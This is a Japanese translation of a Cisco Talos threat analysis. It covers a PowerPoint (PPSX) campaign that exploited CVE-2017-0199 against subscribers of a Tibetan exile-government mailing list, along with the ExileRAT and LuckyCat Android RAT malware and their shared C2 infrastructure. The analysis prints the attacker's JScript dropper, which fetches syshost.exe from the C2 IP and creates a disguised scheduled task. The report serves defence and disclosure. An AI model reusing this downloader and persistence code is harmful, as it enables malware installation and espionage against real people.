エグゼクティブ サマリー
このほど Cisco Talos は、悪意のある Microsoft PowerPoint ドキュメントを配信するマルウェア キャンペーンを確認しました。配信には、チベットの亡命政府である Central Tibetan Administration(CTA; 中央チベット政権)が運用するメーリング リストが使用されていました。攻撃で使用されたドキュメントは、PPSX 形式のファイルでした。これは、Microsoft PowerPoint ドキュメントから生成された編集不可のスライド ショーを配信するために使用される形式です。Talos は今回のケースで、CTA のメーリング リストから、「Tibet-was-never-a-part-of-China.ppsx」というファイルが添付された電子メールメッセージを受信しました。この添付ファイルの目的は、このチベットのニュースのメーリング リストに登録している人々を攻撃することにありました。このマルウェアの特性とそのターゲットを考えると、これはおそらく金銭的利益のためではなく、諜報活動のために考案されたものと思われます。これは、国家の支援を受けた攻撃者が政治的理由から一般市民に対して継続的に行っている諜報活動の、ほんの一部に過ぎません。
悪意のある Office ドキュメント
このドキュメントの分析を始めると、インフラストラクチャとペイロードが共通している別のキャンペーンが見つかりました。このキャンペーンのコマンド アンド コントロール(C2)に使用されたインフラストラクチャは、以前 LuckyCat(Android および Windows ベースのトロイの木馬)に関与していたものでした。C2 を発見したことで、その C2 でホストされ、同じペイロードや設定などを使用している複数のキャンペーンを特定することができました。この悪意ある PPSX ファイルは、ペイロードをダウンロードするさまざまな JavaScript を攻撃者が実行できるようにするためのドロッパーとして使用されていました。
CTA のメーリング リストに送信された PPSX ドキュメントは、以下のようなものでした。
CTA のメーリング リストに登録されている全員が、この電子メールを受信しました。このメーリング リストのインフラストラクチャは、インドを拠点とする DearMail 社によって運用されています。同社は、「クラウドに対応した強力な Web ベース電子メール キャンペーン マネージャ」を自らの宣伝文句にしています。攻撃者は、CTA のメールで通常使用される標準の Reply-To ヘッダーを変更し、すべての返信が攻撃者の電子メール アドレス(mediabureauin [at] gmail.com)に直接戻るようにしていました。
電子メール メッセージ自体の内容は、来る 3 月 31 日のダライ・ラマ亡命 60 周年について書かれたものでした。このドキュメントは、240 枚超のスライドから成る長編のスライド ショーで、中央チベット政権が作成したとされています。
実際には、中央チベット政権の tibet.net ホームページからダウンロードできる正規の PDF(こちらを参照)をコピーしたものです。このスライド ショーのファイル名、「Tibet-was-never-a-part-of-China」は、2018 年 11 月 1 日に公開された正規の PDF と同じであり、攻撃者がいち早くこのファイルを悪用したことを示しています。
この攻撃は、Microsoft Office 任意のコード実行の脆弱性(CVE-2017-0199)を悪用しています。このエクスプロイトは、GitHub で入手できる公開のスクリプトが元になっています。このコードは、「slide1.xml.rels」ファイル内に存在しています。これらのファイルにアクセスするには、PPSX ファイルを解凍してドキュメント全体の内容を見るのが最善の方法です。このファイルは、「/ppt/slides/_rels」フォルダ内にあります。
上記のコマンドが、「script:hXXp:\\27.126.188[.]212:8005\aqqee」にデコードされます(現在は URL エンコードされています)。
同じスクリプトによって app.xml ファイルを悪用する例も見つかりましたが、使用するポート番号が誤っています。このスクリプトは実際には実行されておらず、TCP ポート 8003 へのリクエストはありません。
Threat Grid で動的分析を実行している間に、このスクリプトが確認されました。
また、PPSX は、iplocation にアクセスして、何回か位置情報を検索しようと試みています。
このために、特にリソース「aqqee」の取得を目的として C2 サーバに HTTP リクエストが送信されます。レスポンスのボディ部で、偽の HTTP レスポンスの日付「Sun 16 Apr 2017」が確認できます。
C2 は次に、ペイロード「syshost.exe」を C2 からダウンロードする役割の JavaScript を配信します。
このスクリプトは、cmd.exe も利用しながら WScript によって実行され、「Diagnostic_System_Host」という名前のスケジュール タスクを作成します。
<script language=’JScript’>
<![CDATA[
function getTempPath(){var wshshell=new ActiveXObject(‘WScript.Shell’);var TempPath=wshshell.SpecialFolders(‘AppData’);TempPath+=’\\’;return TempPath;};var filepath=getTempPath()+’syshost.exe’;function DownURL(strRemoteURL, strLocalURL){var xmlHTTP = new ActiveXObject(“Microsoft.XMLHTTP”);xmlHTTP.open(“Get”,strRemoteURL,false);xmlHTTP.send();var adodbStream = new ActiveXObject(“ADODB.Stream”);adodbStream.Type = 1;adodbStream.Open();adodbStream.write(xmlHTTP.responseBody);adodbStream.SaveToFile(strLocalURL,2);adodbStream.Close();adodbStream = null;xmlHTTP = null;};DownURL(“hXXp://27.126.188[.]212/2/syshost.exe”,filepath);function execShell(cmdstr){var oS = new ActiveXObject(‘WScript.Shell’);var shellcmd = ‘cmd.exe /c ‘+cmdstr;var o = oS.Run(shellcmd,0,false);};execShell(‘schtasks \/create \/sc minute \/mo 1 \/tn Diagnostic_System_Host \/tr ‘+filepath);
]]>
</script>
スケジュール タスクは、cmd.exe によって入力される下記のコマンド ラインを使用して作成されます。タスクの名前には、「Diagnostic_System_Host」が使用されています。この名前は、正規のシステム タスク名である「Diagnostic System Host」から「_」(アンダー スコア)をとっただけで、非常に似ています。攻撃者が検出を避けるためにその名前を使用したことは明らかです。
“C:\Windows\System32\cmd.exe” /c schtasks /create /sc minute /mo 1 /tn Diagnostic_System_Host /tr C:\Users\Administrator\AppData\Roaming\syshost.exe
ExileRAT マルウェア:syshost.exe
感染したシステムでは現在、攻撃者の C2 から配信された syshost.exe(別名 ExileRAT)が実行されています。コンパイル日は 2019 年 1 月 30 日 7:05:47(UTC)となっており、キャンペーンの期間と一致しています。
ExileRAT の最初のステップの 1 つとして、IP ロケーションを検索してそのデータを c:\data.ini ファイルに書き込む作業が実施されます。
これは、PE 内で簡単に特定できます。
C2 プラットフォームも PE 内にハードコーディングされています。
ExileRAT は、システム情報(コンピュータ名、ユーザ名、ドライブ リスト、ネットワーク アダプタ、プロセス名)の取得、ファイルの取得/転送、プロセスの実行/終了を実施できる、シンプルな RAT プラットフォームです。
C2 インフラストラクチャ
このキャンペーンでは、C2 として「27.126.188.212」が使用されていました。Talos では、他の .exe や .dll ファイル(「AcroRd32.exe」と「ccL100U.dll」)が含まれていたオープン ディレクトリをいくつか特定しました。これらのファイルは C2 の「/1」下にありました。一方、チベット キャンペーンの PPSX では「/2」が使用されました。キャンペーンを見つけやすくするために攻撃者がインフラストラクチャを再利用するのは、よくあることです。今回のケースでもその可能性は非常に高いと考えられます。というのも、TCP 8005 に対する新たなリクエストを特定するために使用されたと思わるディレクトリの中に、ログ ファイル「robins.log」が含まれていたのが確認されたからです。
C2 の分析中に、やはりこの IPを使用しているいくつかのドメイン(mondaynews[.]tk、peopleoffreeworld[.]tk、gmailcom[.]tw)を特定することができました。おそらく最後のドメインは、フィッシング キャンペーンでユーザがだまされることを期待して、攻撃者が Google に似せて登録したものだと思われます。
LuckyCat Android RAT
Syshost.exe にハードコーディングされた C2 サーバの IP には、先頃、ある興味深いドメインも存在していました。mondaynews[.]tk です。このドメインは、Android RAT の C2 ドメインで、1 月 3 日に作成されました。これは、2012 年にチベットの活動家に対して使用された LuckyCat Android RAT の、新しいバージョンです。当時の攻撃では、親チベット派の支持者がターゲットになっていました。この新しいバージョンには、2012 年版と同じ機能(ファイルのアップロード、ダウンロード、情報窃取、リモート シェル)の他に、いくつかの新機能が追加されています。たとえば、ファイルの削除、アプリケーションの実行、音声録音、個人連絡先の窃取、SMS の窃取、最近の通話履歴の窃取、ロケーションの窃取などです。2012 年版(左)と 2019 年版(右)の command type クラスを以下に示します。
この 2 つのバージョンでは、いくつかの機能が同じ名前を使用しています。コピー アンド ペーストされたものも数多くあります。
アプリには、Baidu map API も含まれています。
このマルウェアは、アプリが Android デバイスでルート アクセス権限を持っているかチェックします。持っている場合、アプリは特定のディレクトリ(/data/data/com.tencent.mm/)のアクセス権限を変更します。
このディレクトリの中に、中国のハイテク企業 Tencent 社が開発したチャット アプリケーションである WeChat の暗号化鍵があることが確認されました。LuckyCat Android RAT が諜報活動を目的としていることと、その被害者層から考えて、Talos では、マルウェアがアクセス権限を変更し、それによって攻撃者がこれらの暗号化鍵を取得してチャット メッセージを復号できるようになったと判断しています。マルウェアは、上記のコードに見られるように、Tencent のディレクトリに対して「chmod 777」を実行します。それによって、マルウェアがこの特定のディレクトリにアクセスして、ファイル、暗号化鍵、およびその他のデータを取得することが可能になります。次いで、攻撃者がマルウェア内で「upload」コマンドを使用してこの情報を窃取できるようになります。
まとめ
この攻撃は、一定の範囲の政治的支持者をターゲットにした一連の攻撃における、もう 1 つの進化バージョンでした。また、必ずしもすべての攻撃でゼロデイ脆弱性を使用する必要がないことを示す、さらなる裏付けともなりました。たとえば、Talos が「Persian Stalker」と呼んでいる、11 月に行われた攻撃では、セキュア メッセージング アプリの脆弱性を利用して、プライベート メッセージ(であるとユーザが思っていたメッセージ)が窃取されました。また、昨年インドで発生した別の攻撃でも、モバイル デバイスがターゲットにされました。このときは、悪意のあるモバイル デバイス管理(MDM)ソフトウェアが使用されました。この PPSX ドキュメントは、CVE-2017-0199 の脆弱性を利用して、追加のペイロードを被害者に強制的にダウンロードさせていました。既知の脆弱性に対してシステムにパッチを適用することが、防御のベスト プラクティスとして変わらず重要であること、および、この種の攻撃から組織を隔離する上で有効であることは、間違いありません。このような種類の攻撃は、金銭的利益を得ることではなく、諜報活動が目的である可能性が非常に高いと思われます。Cisco Talos がこの攻撃を即座に停止して中断させことで、攻撃者が再編を余儀なくされることを願っています。
カバレッジ
Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。
Cisco クラウド Web セキュリティ(CWS)または Web セキュリティ アプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、これらの攻撃で使用されるマルウェアを検出します。
電子メール セキュリティは、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。
次世代ファイアウォール(NGFW)、次世代侵入防止システム(NGIPS)、およびMeraki MX などのネットワーク セキュリティ アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を埋め込みます。
シスコのセキュア インターネット ゲートウェイ(SIG)である Umbrella は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
オープン ソースの SNORTⓇ サブスクライバ ルール セットをお使いであれば、Snort.org で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。
侵入の痕跡(IOC)
このキャンペーンに関連付けられている IOC は、次のとおりです。
悪意のある Office ドキュメント
742d1178d20d2fbeea506544f0525b8182d1273d4bf58db48921db6a542871aa(SHA256)
PE32 ExileRAT
3eb026d8b778716231a07b3dbbdc99e2d3a635b1956de8a1e6efc659330e52de (SHA256)
LuckyCat Android RAT
9498ddbfe296e98376187be67b768f3ba053a7cbdffeeda61e28c40bd21365f0 – 2019 (SHA256)
74e79c89a63d030ad0c0f545e79ac8f4b7910387d0d294ff9fdca91c486efcf8 – 2012 (SHA256)
C2 サーバ
27.126.188[.]212
mondaynews[.]tk
peopleoffreeworld[.]tk
gmailcom[.]tw
本稿は 2019年2月4日に Talos Group のブログに投稿された「xileRAT shares C2 with LuckyCat, targets Tibet」の抄訳です。